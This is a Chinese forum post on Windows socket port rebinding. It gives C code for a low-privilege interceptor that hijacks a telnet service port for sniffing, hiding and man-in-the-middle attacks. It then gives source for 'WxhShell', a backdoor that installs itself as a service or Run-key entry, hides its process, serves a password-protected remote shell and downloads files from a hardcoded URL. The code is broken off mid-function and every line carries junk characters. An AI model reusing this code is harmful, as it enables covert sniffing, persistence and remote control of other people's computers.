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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^+Ie   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Dr^#e  
w-Y-;*S  
  saddr.sin_family = AF_INET; ZL:nohB  
_bHmcK  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); JpvE c!cli  
63#Sf$p{v  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t,]r%  
RC sQLKqF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Hq?-e?Nc  
:D-My28'  
  这意味着什么?意味着可以进行如下的攻击: I: P/ ?-  
WtN o@e'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ; dPyhR  
7{ (t_N >  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )(oRJu)y  
@SF*Kvb&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 4yV}4f$q  
: P>Wd3m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  QmT L-  
< S:SIaf0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ~c%H3e>Jcq  
-fI-d1@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L~%@pf>  
6+b!|`?l+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 y Rr,+>W  
Qr6[h!  
  #include z4D[>2*  
  #include G1K5J`"*  
  #include Wsyq  
  #include    x{`>Il  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bF;g.-.2  
  int main() +!\$SOaR{  
  { R3`!Xj#&M  
  WORD wVersionRequested; )@Fuw*  
  DWORD ret; D4g$x'  
  WSADATA wsaData; CPWe (  
  BOOL val; ?B.>VnYZ/a  
  SOCKADDR_IN saddr; =B@owx  
  SOCKADDR_IN scaddr; k_ 9gMO  
  int err; |QHDg(   
  SOCKET s; })#6 BN  
  SOCKET sc; ak 94"<p  
  int caddsize; Xp"ZK=r  
  HANDLE mt; <t>"b|fW  
  DWORD tid;   MDGD*Qn~  
  wVersionRequested = MAKEWORD( 2, 2 ); Z& e_yl  
  err = WSAStartup( wVersionRequested, &wsaData ); sPuNwVX>}I  
  if ( err != 0 ) { i1e|UR-wl  
  printf("error!WSAStartup failed!\n"); Oz<{B]pEul  
  return -1;  i1v0J->  
  }  w~wpm7  
  saddr.sin_family = AF_INET; n@<+D`[.V  
   FO#`}? R`  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V`sINX  
;^za/h>r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); M >#kfSF+  
  saddr.sin_port = htons(23); X-%XZD B6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pJ!:mt  
  { 0Ah'G  
  printf("error!socket failed!\n"); |dcRDOTe  
  return -1; &sleV5V  
  } ,_?P[~1  
  val = TRUE; th]1> .  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,) ^4H>~V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K;Qlg{v  
  { {XAm3's  
  printf("error!setsockopt failed!\n"); oh c/{D2  
  return -1; 4n_f7'GZg  
  } mcvd/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7~n<%q/6  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VX0q!Q  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^EY^.?Mg  
p2s*'dab7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) N]f"+  
  { N=R|s$,Oy9  
  ret=GetLastError(); fgcI55&jV{  
  printf("error!bind failed!\n"); <pJeiMo  
  return -1; %2>ya>/M  
  } jI:5[. Y  
  listen(s,2); @k~'b  
  while(1) uf4C+ci  
  { 32j@6!  
  caddsize = sizeof(scaddr); I*8i=O@0T  
  //接受连接请求 3~v' Ev  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Sxo9y0K8-  
  if(sc!=INVALID_SOCKET) oRmz'F  
  { y^pzqv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); y qDE|DIez  
  if(mt==NULL) &!7{2E\7C  
  { !jZXh1g%  
  printf("Thread Creat Failed!\n"); B=?4; l7  
  break; E{+V_.tlu  
  } Qv=F'  
  } (ns> z7  
  CloseHandle(mt); do0;"O0 (  
  } 5H8]N#Y&  
  closesocket(s); yv1Z*wTpO  
  WSACleanup(); 67<Ym0+ =  
  return 0; Qxb5Y)/jn  
  }   X;`XkOjk  
  DWORD WINAPI ClientThread(LPVOID lpParam) t<~$?tuZ  
  { >HMuh)  
  SOCKET ss = (SOCKET)lpParam; ,FWC|uM"  
  SOCKET sc; AY3nQH   
  unsigned char buf[4096]; R)4L]ZF  
  SOCKADDR_IN saddr; B^Z %38o  
  long num; 3zi(|B[,?  
  DWORD val; 1C) l) pV  
  DWORD ret; "W!Uxc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,.Xqb~  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kaybi 0  
  saddr.sin_family = AF_INET; cF6eMml;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lU6?p")F1  
  saddr.sin_port = htons(23); 2 VgFP3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) UOh % "h  
  { m^hi}Am1  
  printf("error!socket failed!\n"); hbfTv;=z  
  return -1; +JQ/DNv  
  } 24;F~y8H  
  val = 100; Td~CnCor  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9&(d2  
  { H$GJpXIb  
  ret = GetLastError(); -U'3kaX5<  
  return -1; :f1Q0klwP  
  } (vL-Z[M!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H#yBWvj*H  
  { G+Gd ;`4  
  ret = GetLastError(); HHd;<%q  
  return -1; mWhQds6  
  } ME'hN->c  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) w=]id'`?q  
  { \jlem<&  
  printf("error!socket connect failed!\n"); YXe L7W  
  closesocket(sc); EtVRnI@  
  closesocket(ss); M3>c?,O)J  
  return -1; ~ti{na4W<  
  } J QSp2b@'H  
  while(1) 7&ty!PpD  
  { A}K2"lQ#>,  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9WE_9$<V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ~cHpA;x9<^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;fg8,(SM^  
  num = recv(ss,buf,4096,0); 8#?jYhT7  
  if(num>0) +OGa}9j-  
  send(sc,buf,num,0); rK^Sn7U  
  else if(num==0) ShFC@)<lJ  
  break; 7;]n+QRfm  
  num = recv(sc,buf,4096,0); i{1SUx+Re  
  if(num>0) T&@xgj|!)  
  send(ss,buf,num,0); WKjE^u  
  else if(num==0) d5aG6/  
  break; ){'Ef_/R  
  } @D:$~4ks  
  closesocket(ss); o u%Xnk~  
  closesocket(sc); Q[5j5vry  
  return 0 ; %5) 1^  
  } R 1CoS6  
L?[NXLn+  
f9R~RRz  
========================================================== |ATz<"q>  
,\t:R1.  
下边附上一个代码,,WXhSHELL 0Fd<@w Q0  
*RPdU.  
==========================================================  -)='htiU  
2>bTcud>  
#include "stdafx.h" oRJ!J-Z]  
|s<IZ2z]}R  
#include <stdio.h> soSdlV{  
#include <string.h> /iz{NulOz*  
#include <windows.h> fMGL1VN  
#include <winsock2.h> d<x7* OW)  
#include <winsvc.h> n+ot. -  
#include <urlmon.h> rt5FecX\  
ape \zZCV  
#pragma comment (lib, "Ws2_32.lib") qM~;Q6{v  
#pragma comment (lib, "urlmon.lib") +>v3&[lGv  
!|\$|m<n  
#define MAX_USER   100 // 最大客户端连接数 rGNYu\\  
#define BUF_SOCK   200 // sock buffer % ~!A,  
#define KEY_BUFF   255 // 输入 buffer 2h_XfY'3pX  
g>L4N.ZH_v  
#define REBOOT     0   // 重启 Z>9uVBE02  
#define SHUTDOWN   1   // 关机 QL_vWG -  
xEULV4Qw  
#define DEF_PORT   5000 // 监听端口 }8joltf  
C2l=7+X#W  
#define REG_LEN     16   // 注册表键长度 2N)siH  
#define SVC_LEN     80   // NT服务名长度 Rw j4  
tWT ,U[  
// 从dll定义API [ ;/4'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SVJL|S 3k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O %x<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); [:vH_(|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4Lg!54P8  
eootH K  
// wxhshell配置信息 ]$4DhB  
struct WSCFG { !]^,!7x,8j  
  int ws_port;         // 监听端口 #pe#(xoI  
  char ws_passstr[REG_LEN]; // 口令 RB,`I#z1f  
  int ws_autoins;       // 安装标记, 1=yes 0=no @ PboT1  
  char ws_regname[REG_LEN]; // 注册表键名 /Qa'\X,f3  
  char ws_svcname[REG_LEN]; // 服务名 yniXb2iM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 lKtA.{(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 c >8I M  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8 ztVv   
int ws_downexe;       // 下载执行标记, 1=yes 0=no fN!ci']  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :NHP,"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pm)kocG  
x6h';W_ 8  
}; *h <_gn  
4@qHS0$  
// default Wxhshell configuration j=q*b Qr  
struct WSCFG wscfg={DEF_PORT, t\GoUeH]  
    "xuhuanlingzhe", &1!T@^56  
    1, )U2cS\k'7n  
    "Wxhshell", <6!;mb ;cX  
    "Wxhshell", %>)HAx `  
            "WxhShell Service", z(o zMH  
    "Wrsky Windows CmdShell Service", &d%0[Ui`  
    "Please Input Your Password: ", x>C_O\  
  1, g-4m.;  
  "http://www.wrsky.com/wxhshell.exe", yA+ NRWWj  
  "Wxhshell.exe"  Zk={3Y  
    }; ekR/X  
r bfIH":  
// 消息定义模块 cs-wqxTX[$  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3QD+&9{D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qcmf*Yl:v  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [. rULQl  
char *msg_ws_ext="\n\rExit."; 6d# 7  
char *msg_ws_end="\n\rQuit."; =ws iC'  
char *msg_ws_boot="\n\rReboot..."; Zy J-}[z  
char *msg_ws_poff="\n\rShutdown..."; _l,_NV&T  
char *msg_ws_down="\n\rSave to "; dcn/|"jr  
Ifx EM  
char *msg_ws_err="\n\rErr!"; t.s;dlx[@  
char *msg_ws_ok="\n\rOK!"; *v}3So  
oe4r_EkYwW  
char ExeFile[MAX_PATH]; #;+ABV  
int nUser = 0; '5usPD  
HANDLE handles[MAX_USER]; ]Yw/}GKB  
int OsIsNt; p;x3gc;0  
"sD[P3  
SERVICE_STATUS       serviceStatus; (#)-IdXXO<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,E._A(Z  
\>G:mMk/  
// 函数声明 0#/NZO  
int Install(void); U!TSAg21P  
int Uninstall(void); crDm2oA~t  
int DownloadFile(char *sURL, SOCKET wsh); R(1N]>  
int Boot(int flag); rLKwuZ  
void HideProc(void); *LZB.84  
int GetOsVer(void); FD1Z}v!5IJ  
int Wxhshell(SOCKET wsl); =O.%)|  
void TalkWithClient(void *cs); H\PY\O&cP  
int CmdShell(SOCKET sock); *7JsmN?  
int StartFromService(void); J ,s9,("  
int StartWxhshell(LPSTR lpCmdLine); iVUkM3  
=[ +)T[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -50 Nd=1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fZ6-ap,u  
,q".d =6  
// 数据结构和表定义 eoGGWW@[  
SERVICE_TABLE_ENTRY DispatchTable[] = yGs:3KI  
{ |<aF)S4  
{wscfg.ws_svcname, NTServiceMain}, g'pB<?'E'  
{NULL, NULL} S9;:)  
}; V,?BVt  
aCZ7G % Y  
// 自我安装 (+x!wX( x  
int Install(void) (p1}i::Y8  
{ ExW3LM9(  
  char svExeFile[MAX_PATH]; Vz\?a8qQ<  
  HKEY key; +\ZaVi  
  strcpy(svExeFile,ExeFile); P.t0o~hoK;  
o-ee3j.  
// 如果是win9x系统,修改注册表设为自启动 B*-A erdH  
if(!OsIsNt) { T1_qAz+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *?`<Ea  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uO{'eT~  
  RegCloseKey(key); c`M ,KXott  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3;F+.{Icc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F8* zG 4/&  
  RegCloseKey(key); xC5`|JW  
  return 0; (oG-h"^/  
    }  TNj WZ  
  } x9qoS)@CM  
} = a54  
else { `*ml/% \  
hlO,mU  
// 如果是NT以上系统,安装为系统服务 U8]BhJr$Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %gbvX^E?  
if (schSCManager!=0) Od?b(bE.]  
{ R]xXG0  
  SC_HANDLE schService = CreateService *B0 7-  
  ( +]*hzWbe  
  schSCManager, vUD>+*D  
  wscfg.ws_svcname, ?E|be )  
  wscfg.ws_svcdisp, =K`]$Og}8  
  SERVICE_ALL_ACCESS, FJC}xEMcN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?,AWXiif  
  SERVICE_AUTO_START, SQhw |QdG  
  SERVICE_ERROR_NORMAL, T/YvCbo  
  svExeFile, rE5q BEh  
  NULL, Y5XhV;16  
  NULL, J.g4I|{  
  NULL, yrCY-'%  
  NULL, wS%j!|xhlV  
  NULL M?3#XQDvD  
  ); 7eP3pg#  
  if (schService!=0) 7zWr5U.  
  { 8(kP=   
  CloseServiceHandle(schService); G8hq;W4@]/  
  CloseServiceHandle(schSCManager); Uoqt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wx*)7Y*  
  strcat(svExeFile,wscfg.ws_svcname); d~za%2{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Yd>ej1<  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Xt%>XP  
  RegCloseKey(key); WVkJ=r0Ny  
  return 0; ;qwN M~  
    } j%TcW!D-_  
  } QBwgI>zfS"  
  CloseServiceHandle(schSCManager); j{: >"6  
} 5.o{A#/NTl  
} A{(<#yRfg  
*0!IHr"fn  
return 1; <7X6ULQ  
} m@#@7[6]o  
|h{#r7H0  
// 自我卸载 LE>b_gQ$ 2  
int Uninstall(void) U|YIu!^  
{ W%&'EJ)62  
  HKEY key; +^tw@b  
q#|,4( Z  
if(!OsIsNt) { ]$xN`O4W{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *(*3/P4D  
  RegDeleteValue(key,wscfg.ws_regname); `a:L%Ex  
  RegCloseKey(key); dxwH C\"5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jxdxIkAHZc  
  RegDeleteValue(key,wscfg.ws_regname); 0f]LOg  
  RegCloseKey(key); nApkK1?  
  return 0; k2t#O%_f  
  } 50 VH>b_  
} *E1v  
} Q ,6[  
else { O9Fg_qfuT_  
-'wFaW0%I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?=^ M(TA;  
if (schSCManager!=0) H6! <y-  
{ iTpU4Qsj  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <&Q(I+^  
  if (schService!=0) Ljq!\D  
  { dLnu\bSF  
  if(DeleteService(schService)!=0) { ,f2tG+P  
  CloseServiceHandle(schService); [7|j:!  
  CloseServiceHandle(schSCManager); tMnwY'  
  return 0; Rd|xw%R\mb  
  } fD:>cje  
  CloseServiceHandle(schService); Eg;xj@S<2  
  } n>["h2  
  CloseServiceHandle(schSCManager); =3= $F%  
} ;xMieqz  
} SWZA`JVK  
-0R;C`(!  
return 1; r@9qjva  
} {24Y1ohK  
LjOHlT'  
// 从指定url下载文件 di,?`  
int DownloadFile(char *sURL, SOCKET wsh) Xj+oV  
{ WUesTA>  
  HRESULT hr; RLtIn!2OU  
char seps[]= "/"; 6;^ e  
char *token; TP-<Lhy  
char *file; H.R7,'9  
char myURL[MAX_PATH]; 2B<0|EGtzw  
char myFILE[MAX_PATH]; ' +*,|;?  
(bBr O74lR  
strcpy(myURL,sURL); KWzJ  
  token=strtok(myURL,seps); Z.v2 !u  
  while(token!=NULL) Ag#o&Y  
  { Z-wvdw]$  
    file=token; ZZJXd+Q}  
  token=strtok(NULL,seps); ;s(uaC3  
  } v@KP~kp  
5Rc^5Nv  
GetCurrentDirectory(MAX_PATH,myFILE); ;p U=>  
strcat(myFILE, "\\"); ~~D =Z#  
strcat(myFILE, file); u>U4w68  
  send(wsh,myFILE,strlen(myFILE),0); \XI9 +::%  
send(wsh,"...",3,0); 057$b!A-a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); h~zG*B5F  
  if(hr==S_OK) |m5 E%E  
return 0; qV`JZ\n  
else =O?#>3A}  
return 1; sHwn,4|iY  
.xIu  
} vs|_l!n3  
N)rf /E0  
// 系统电源模块 IC:wof "  
int Boot(int flag) $*Z Zh  
{ Uq8=R)1<|d  
  HANDLE hToken; @T6Z3Zj}  
  TOKEN_PRIVILEGES tkp; G>q16nS~KP  
5HAIKc  
  if(OsIsNt) { Q|+g= |%^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); b5v6Y:f&fK  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^& R H]q  
    tkp.PrivilegeCount = 1; "BAH=ul5E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; V7qc9Gd@I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3-T}8VsiP  
if(flag==REBOOT) { 9*lkx#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 5_}e?T&s  
  return 0; !Ui"<0[,  
} %j*i=  
else { )f6:{ma  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <m|\#Jw_V  
  return 0; |0jmOcZF  
} !^ /Mn  
  } ZX Sl+k .  
  else { p>c`GDU  
if(flag==REBOOT) { 8!c#XMHV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W6>SYa  
  return 0; .;'3Roi  
} m@_m"1_;  
else { mm5y'=#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3nJd0E  
  return 0; ctzaqsr  
} +.RC{o,  
} jD eNCJ  
%%w/;o!c  
return 1; z U~o"Jv  
} g[,1$39Z|@  
>nnjL rI  
// win9x进程隐藏模块 c T!L+z g  
void HideProc(void) S24wv2Uw i  
{ j$K[QSn  
-q-/0d<l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); guC7!P^  
  if ( hKernel != NULL ) v GT#BS%  
  { )38M~/ ^l  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FrXh\4C  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); p FkqDU  
    FreeLibrary(hKernel); !QB(M@1  
  } 0H6^2T<  
1{.=T&eG#  
return; mu1Lgs$;  
} <$\En[u0  
&!kr &g#]  
// 获取操作系统版本 =eXJZPR  
int GetOsVer(void) ( _{\tgSm  
{ r95l.v  
  OSVERSIONINFO winfo; "^~>aVuXf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7D;g\{>M  
  GetVersionEx(&winfo); j3W)5ZX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E!eBQ[@  
  return 1; BK_x5mGu3  
  else +Y^_1  
  return 0; (v\Cv)OS  
} B`/c Kfg  
a09]5>*  
// 客户端句柄模块 )cMW,  
int Wxhshell(SOCKET wsl) F_Q?0 Do0'  
{ $=? CW(  
  SOCKET wsh; :PrQ]ss@C5  
  struct sockaddr_in client; !U@?Va~Zn  
  DWORD myID; D&xb tJd  
u'?yc"d>#  
  while(nUser<MAX_USER) U*Hw t\  
{ f&\v+'[p  
  int nSize=sizeof(client); -}Jf4k#G  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6tE<`"P!  
  if(wsh==INVALID_SOCKET) return 1; tsFwFB*  
mv1_vF:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QDRgVP  
if(handles[nUser]==0) ;plzJ6>  
  closesocket(wsh); |$r|DX1[  
else WrR97]7t  
  nUser++; ?]fd g;?@  
  } !~{AF|2f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .Jt&6N  
=Of!1TR(  
  return 0; *N0R3da  
} 1,p[4k~Ww  
Fn8d;%C  
// 关闭 socket );^] is~  
void CloseIt(SOCKET wsh) GHMoT  
{ "G8w}n:y  
closesocket(wsh); 8q6b3q:c  
nUser--; 7kBULeBn|  
ExitThread(0); u"%i3%Yjh  
} kQR kby  
X^PR];V:$  
// 客户端请求句柄 kpM5/=f/@  
void TalkWithClient(void *cs) ~ituPrH%<  
{ `};8   
5N:THvh6o  
  SOCKET wsh=(SOCKET)cs; L`yyn/2>  
  char pwd[SVC_LEN]; y7 I')}SC  
  char cmd[KEY_BUFF]; |]5g+sd  
char chr[1]; HR85!S`  
int i,j; rurC! -  
gJNp]I2R  
  while (nUser < MAX_USER) { kq[*q-:"x  
hCX}*  
if(wscfg.ws_passstr) { CW(]6s u{  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xud  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U!"+~d)  
  //ZeroMemory(pwd,KEY_BUFF); U$J l5[`F^  
      i=0; nj*B-M\p  
  while(i<SVC_LEN) { H1PW/AW  
Z6}B}5@y  
  // 设置超时 $Nr :YI  
  fd_set FdRead; ~;Ga65_6_  
  struct timeval TimeOut; aDx{Q&  
  FD_ZERO(&FdRead); G[YbgG=9Y  
  FD_SET(wsh,&FdRead); &)Fp  
  TimeOut.tv_sec=8; Oj# nF@U  
  TimeOut.tv_usec=0; Z2Bl$ \  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;as4EqiK  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); m8Q6ESg<*u  
d jeax  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G)b6Rit  
  pwd=chr[0]; a*d>WN.;U  
  if(chr[0]==0xd || chr[0]==0xa) { &v+8RY^F=  
  pwd=0; eu(1bAfS&T  
  break; mbBd3y  
  } %3ecV$  
  i++; 8>TDrpT}  
    } & p 1Et  
9-DDly [)4  
  // 如果是非法用户,关闭 socket S~+}_$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); k`W.tMo  
} }LNpr  
&L,zh{Mp  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); goi5I(yn^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,TTt<&c  
r >:7)p!|  
while(1) { 8|A*N< h  
O2E6F^.pYw  
  ZeroMemory(cmd,KEY_BUFF); 8CxC`*L(  
C7`FM@z  
      // 自动支持客户端 telnet标准   r%hnl9  
  j=0; }d2]QD#O  
  while(j<KEY_BUFF) { vcsi @!   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5taYm'  
  cmd[j]=chr[0]; F/[vg  
  if(chr[0]==0xa || chr[0]==0xd) { 9l?#ZuGXp  
  cmd[j]=0; O $uXQ.r  
  break; B:=*lU.n  
  } q<rB(j-(  
  j++; Ti }Ljp^O  
    } bWK}oYB*  
Pe w-6u"  
  // 下载文件 p]uwGWDI  
  if(strstr(cmd,"http://")) { B98&JoS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g]9!Pi8jn  
  if(DownloadFile(cmd,wsh)) d#.9!m~.  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vkdchc  
  else i~}[/^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qG=9zp4y?Y  
  } h Ns<Ae  
  else { 9u/"bj  
r5z_{g  
    switch(cmd[0]) { *P&ZE   
  Dh0`t@  
  // 帮助 g4<w6eB  
  case '?': { dOArXp`s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +1Oi-$ 2-  
    break; ?<\ K!dA  
  } wn[q?|1  
  // 安装 4f<%<Z  
  case 'i': { /"+ n{*9  
    if(Install()) 0"$Ui#r`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :e:jILQ[  
    else ~HsPYc8Fz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .,[zI@9  
    break; ;w@PnY  
    } A/Kw"l>  
  // 卸载 EoqUFa,  
  case 'r': { =h^cfyj  
    if(Uninstall()) JK.lL]<p i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q*mzfsgr  
    else ;JMd(\+-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j"*ZS'0  
    break; mXT{)pU  
    } G<,@|6"w  
  // 显示 wxhshell 所在路径 T<06y3sN  
  case 'p': { ,x}p1EZ  
    char svExeFile[MAX_PATH]; w@7NoD=  
    strcpy(svExeFile,"\n\r"); KK`P<^8J  
      strcat(svExeFile,ExeFile); Er?Wg09  
        send(wsh,svExeFile,strlen(svExeFile),0); gT*0WgB  
    break; CZv.$H"lW  
    }  ] L4B  
  // 重启 j8?z@iG  
  case 'b': { 3!&lio+<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;=1]h&S  
    if(Boot(REBOOT)) t0p^0   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <#JJS}TLk  
    else { W'6~`t  
    closesocket(wsh); :^FOh*H  
    ExitThread(0); 1SeDrzLA  
    } (UPkb$Qc  
    break; 3}}~(  
    } d paZ6g  
  // 关机 2`/JT  
  case 'd': { wy"^a45h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0PD]#.+  
